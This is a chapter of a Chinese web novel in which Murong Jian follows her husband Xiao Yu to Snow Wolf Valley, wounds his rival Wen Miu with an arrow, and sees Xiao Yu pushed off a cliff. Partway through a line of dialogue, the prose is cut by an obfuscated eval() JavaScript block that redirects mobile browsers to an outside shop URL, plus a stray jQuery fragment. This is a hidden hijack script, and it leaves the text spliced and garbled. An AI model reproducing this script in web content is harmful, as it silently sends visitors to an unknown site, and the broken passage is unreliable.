漠北与大梁议和,是盟国友邦,绝不可能答应吐谷浑攻打大梁。
然而人心思变,就算漠北想置身事外,敬而远之。可吐谷浑为达目的不择手段,冒着九死一生的风险深入雪狼谷,采用前后夹击的战术,就是想将漠北困死在原地。
若是漠北答应与吐谷浑连横合纵,朝大梁出手,边境将岌岌可危。
若是不答应,吐谷浑与漠北积怨已久,漠北王将霍真送入都城为质,这是不共戴天的世仇,永世无法消解。
困死了漠北,侵吞渭河十个部族,占据充足的资源与牛羊,一样不可小觑。
吐谷浑是头杀不死的恶狼,它的首领是流淌汉人血脉的逆贼,这样的身份与血统,却与大梁刀剑相向。
所以,要阻止闻缪,就得前去雪狼谷,在他们深入漠北腹地之前,沿途截杀。
正因为如此,慕容蒹会在士兵百般阻拦之时闯入营帐。
有一瞬的沉滞,王参军与校尉等人心照不宣走了出去。
偌大的营帐内只余无言以对的两人,相顾无言,最终还是她败下阵来,近乎恳求道:“雪狼谷凶险万分,你不能去。”
巫寿的哥哥就死在了那里,她不能看着箫羽去送死。
“活捉闻缪是旨意。阿蒹,我不能抗旨。”箫羽走到她面前,捧着她的手,轻轻落下一吻,“我和他之间,注定有一死,你拦不住我。”
“不,一定还有别的办法。将在外,君命有所不受。”慕容蒹急得胡思乱想,眉宇紧蹙,“有没有可能军情是假的?闻缪根本没进雪狼谷,他是故意放出假消息,请君入瓮,让你以身涉险?”[1]
箫羽兀自摇头,语气平淡,似乎是习以为常。可在慕容蒹看来,他是抱了必死的决心。
“不会的,他一定会在那里等着与我决一死战。”
以他对闻缪的了解,一个生在大梁十几年,母亲乌雅真的婢女的出身,小小的庶民之子。要想出人头地,就必须付出足够多的代价。
所以这样的血统与出身,导致闻缪在吐谷浑并不受重视。即便有巫寿的引荐,他是被汉人养大的孩子,要想获得子民的拥戴与认可,需要足够显赫的军功。
夜袭白穈城未能得逞,贪功冒进又失了吐谷王的信任。这次雪狼谷进发,就算不能将漠北收入囊中,只要折损了箫羽,让大梁失去这位骁勇良将,不失为好一条计策。
“君子不立危墙之下,雪狼谷那么危险,闻缪身为蛮人的主将,怎么可能出现在那里?!”尽管他表现得波澜不惊,慕容蒹认为事情没有想象得这么简单。
“阿蒹,你听我说,我与闻缪免不了一战,不是他死就是我活。”他定定地注视,缓缓将她拥入怀中,“一旦蛮人计划得逞,大梁将孤立无援,我不能逃避。”
“那你这次又要抛下我么?”慕容蒹仰起脑袋,眼里蓄满了泪。
“阿蒹,你是我的妻子,我活着的一日,就不会让你遇到危险。答应我,好好活着。”
“你这个混蛋,你要是死了,我活着还有什么指望?”她又气又恼,死命捶打着箫羽。
成婚不足半月,他就撇下她出征,到现在三个月不到,就要与她生离死别。
这么俊朗的夫君,没睡到手也就罢了,年纪轻轻就要守寡,箫羽实在太狠心了。
“对不起......”他抚摸她柔软的脸庞,“和离书我已经写好了,你从今日就启程回家吧。”
“你休我?还想赶我走?!”慕容蒹几乎恼羞成怒,指责道:“你好狠的心肠,我不准你走,不准你去找闻缪!!”
她用力抱住宽厚的臂膀,试图用身体的力量阻拦箫羽离开。
僵持半晌,箫羽重重叹气,营帐外踢踏脚步声与行装鳞甲擦碰出的叮当声,快到出发的时候了。
事到如今,他已经无力劝阻,挣脱她的束缚,出了营帐。
时间凝结在这一刻,慕容蒹怨念的回想,她曾经说过,不许他死。
她不能看着箫羽置身于危险之中,况且箫羽要面对的,不只是恶劣的险境,还有曾与自己两心相知的闻缪。
不能坐以待毙了,她似恍然大悟,快速冲出营帐,箫季意料之中出现阻拦。
“滚开!”她推开箫季,冲到马厩里,骑上红鬃马追随箫羽而去。
军队往管涔山外峦出发,箫羽带领着骑兵,行进速度之快,慕容蒹远远的跟随,不到半个时辰,就不见了踪影。
直到寒风冷冽扑鼻,不可自主地发抖。
红鬃马呼哧出的热气如白雾瞬间升华,慕容蒹握紧缰绳,手臂因冷空气剧烈颤动。
快要撑不下去的时候,她搓搓手臂,强打起精神,安慰着红鬃马。
两个时辰过去,终于抵达雪狼谷的山脚。整座山谷天寒地冻,树枝挂满锋利的冰凌,脚下泥土被透明的冰层覆盖,脚底湿滑根本站不稳。
北风呼啸而过,慕容蒹冻得脸色煞白,身子瑟瑟发抖。
一股血腥味裹挟着风寒弥散开来,循着踪迹,找到了龟缩在山脚的士兵们。
雪地里,尸首结满厚厚的冰霜,冷风席卷而过,被风雪覆盖。这满地里,死的都是保家卫国的将士。
活着的几个士兵,因受了伤,瑟缩着躲在人为挖凿的雪洞里。慕容蒹心神大乱,一双手冻得冰紫。
她跪坐在地,近乎疯狂般徒手刨着雪,直到手指被冻伤,快要失去知觉。
无助地走到雪洞前,询问,“箫羽呢?他在哪里?”
那几个士兵没见过她,不知她身份,只是神情悲冽,气息奄奄地说:“将军......在山顶,他为了追......”
意识到箫羽还活着,慕容蒹捡起散落的弓箭,俯瞰巍峨山峰。
她抱着枣红色的小马,注入信念地说:“箫羽的生死就靠你了。”
慕容蒹骑着它,往山峰攀爬,半途中尸首堆叠,是死去的蛮人与汉军将士。
山峰处传来当啷的打斗声,她勒紧缰绳,驱使着红鬃马上爬。
越往上走,道路就越湿滑。好几次,连人带马从半道滑坠在地。
如此反复,挫伤了皮,她却好似感受不到痛,跌倒就爬起来,继续往上走。
在一处悬空的崖口,她闭上眼,拍打着马臀,一鼓作气跳了过去。
赶来的箫季终究还是迟了一步,看着她消失在山顶。
慕容蒹成功登顶,不远处的箫羽与闻缪互相对打着。她骑着马,拉紧弓弦,射出一箭,咻地一声,正中闻缪的肩膀。
两人立即停了,一匹亮眼的红马骤然闯出,强行将两人分开。
慕容蒹骑着马,止步于悬崖前,她轻巧落地,满心满眼的打量着箫羽,“你受伤了?”
箫羽的手臂及膝盖,布满大大小小的刀伤,嘴角渗着血,慕容蒹心疼坏了。
“你,你是怎么上来的?”箫羽迅速将她往后背一扯,藏到了身后。
那厢的闻缪也伤得不轻,肩头被冷箭射中,锋利的箭镞穿透肌肉,血淋淋的挂在身前。
他看清楚来人,浑身抖颤,痛不欲生,眼眶里含着泪,“阿奴,你伤我?”
慕容蒹哽塞难言,眸光一沉,不敢与他直视。
闻缪忍着疼与泪,指着箫羽,“你为了这个人伤我,为什么?”
“我......”她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17705328|202516||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
顿了顿,旋即醒悟地道:“没有为什么,是你伤他在先,我出手伤你名正言顺。”
“阿蒹,你退后。”箫羽握住她的手,护在她身前,避免闻缪发疯伤到她。
闻缪惨烈地笑了,忽然间,矍然变脸,“这个人曾经耻笑你、伤你、给你无数难堪,你难道都忘了么?!”
被戳中心事的箫羽面露愧色,“阿蒹......”
试图用箫羽来转移注意力。她承认,曾经箫羽的确很可恶,可是闻缪更让她恶心。
“那你呢?你跟别的女子有染,不觉得自己有问题么?”闻缪登时哑口无言,可一想到自己是造了算计,心底里仅存的愧疚瞬间荡然无存,“我是被陷害的,你为什么就不相信我?!”
“事情已经发生,信与不信又有什么区别。”她冷冽反问,“事到如今,你还在执迷不悟。”
“执迷不悟的人是你!”闻缪声嘶力竭地控诉,“当初明明说好要等着我,等着与我在一起。为什么要这样,为什么要与他成亲?!”
他恨极了,因暴烈情绪,鲜血滴答滴答坠落,泅红了胸前的鳞甲。他的目光对准箫羽,指责道:“你为什么要出现?明知她有婚约,为什么非要招惹她?!高月燕爱慕你不好么?明明我们就要成婚了!!”
“都是因为你,如果不是因为你,我与阿奴怎么会走到今日!”
“够了!”慕容蒹忍无可忍,“你不要再说了,这不关他的事。”
她以平生最大的定力,缓缓说出痛彻心扉的事实,“即便我们之间没有高月燕,我也不可能嫁给你。”
“什么......”闻缪喁喁低语,似是难以置信。
慕容蒹闭目,深呼吸,努力让自己保持冷静,“是,我承认曾经是喜欢过你,那是以前。现在我有喜欢的人,那人不是你。闻缪,你认清现实吧!!”
“不,不可能!”闻缪面孔呈紫涨色,冰冷的雪地里,竟然像置身于岩浆地狱之中,炙热的火焰将他烧得除了嫉妒,理智全然化为灰烬。
“你在说谎!阿奴,你一定是在说谎!你是为了故意气我的,对不对?”
“怎么不可能?”箫羽挑眉反问,占据上风,“你娶了别人,难道她还会喜欢你?”
“你又算什么东西?!”闻缪理智全无,“你以为阿奴就喜欢你么?你在她心里聊胜于无罢了。”
箫羽脸色瞬间惨白,咬牙切齿,挤出一句话,“那也你比你强。”
闻缪瞬间被点燃斗志,抄起长枪朝箫羽刺去,吼喝道:“你去死吧——”
“住手!”慕容蒹以身体格挡,闻缪堪堪收住,枪尖在她一尺前的位置停驻,“你不是恨我么,那就杀了我,放了箫羽。”
闻缪的手臂发抖,艰难从牙缝中迸出一句话,“我怎么可能会杀你......”
“难道不是么?”慕容蒹讥诮一笑,那笑容里掺了太多对命运的嘲弄,“你不是处心积虑的想杀我么?现在就动手吧!”
她摊开双手,任由枪尖刺入她的胸膛。闻缪抖颤着双手,眼神酸涩。
“原来我在你心里是如此不堪......”一滴泪黯然滑落,闻缪潸然地说:“即便我爹娘因季父而死,我也从未想过报仇,更未想过要杀你。”
“......”
真的是这样,闻缪的父母真的与爹娘有关,可是事到如今,任何事都没了转圜的余地。
就在这瞬间,闻缪将枪尖一转,对准了箫羽。
他下不了这个手,只有箫羽死了,他才有机会挽回她的心。
枪杆的力量将箫羽推下了悬崖,他恶狠狠地道:“箫羽,你给我去死——”